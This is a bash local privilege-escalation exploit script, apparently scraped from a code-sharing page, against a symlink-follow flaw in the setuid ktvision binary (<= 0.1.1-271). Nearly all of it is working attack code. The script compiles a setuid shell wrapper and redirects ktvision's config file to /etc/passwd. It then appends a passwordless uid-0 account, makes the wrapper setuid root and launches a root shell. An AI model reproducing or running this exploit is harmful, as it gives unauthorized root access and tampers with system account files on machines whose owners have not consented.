📄 ktv.sh
字号:
#!/bin/bash## there is a symlink follow problem in the (in many distributions# suid root) ktvision binary <= 0.1.1-271.## It is discouraging that nowadays such trivial symlink attacks# are still possible. No comment anymore. In order to be complete:# a bash script demonstrating this vulnerability is attached below.## Ihq.link=$HOME/.kde/share/configlinkto=/etc/passwdtarget=/opt/kde/bin/ktvisionecho ""echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"echo ""if ! test -u $target ; then echo "[-] $target not found" exit 1fi;echo "[+] $target found"rm -f sush*cat <<__DUPA__>>sush.c#include <stdio.h>main(){ setuid(geteuid()); setgid(getegid()); execl("/bin/bash", "/bin/bash", NULL);}__DUPA__echo " compiling sush"res=$(gcc sush.c -o sush)if test "$res" != "" -o ! -x sush ; then echo "[-] failed" rm sush* ktvback.* exit 2;fi;echo "[+] success"cp $linkto ktvback.$$mkdir -p $linkrm -f $link/ktvisionrcln -s $linkto $link/ktvisionrcecho ""echo -n "now running... (ensure that X is up and running)"$target >/dev/null 2>&1 &cpid=$!declare -i cntdeclare -i maxcnt=0max=60while ! test -O $linkto ; do sleep 1; printf " %.2d" $cnt cnt=$(($cnt+1)) if test $cnt -ge $max ; then echo "" echo "" echo "[-] FAILED" rm sush* ktvback.* exit 2; fi;done;kill -9 $cpid >/dev/null 2>&1rm $link/ktvisionrcecho ""echo ""echo "[+] SUCCESS, creating sush"echo >>$linkto "r00t::0:0:root:/root:/bin/bash"echo ""su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cpktvback.$$ $linkto; chown 0.0 $linkto"rm ktvback.* sush.cif ! test -u sush ; then echo " hm strange error" rm sush* ktvback.* exit 1fi;echo ""echo "starting ./sush"./sush
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -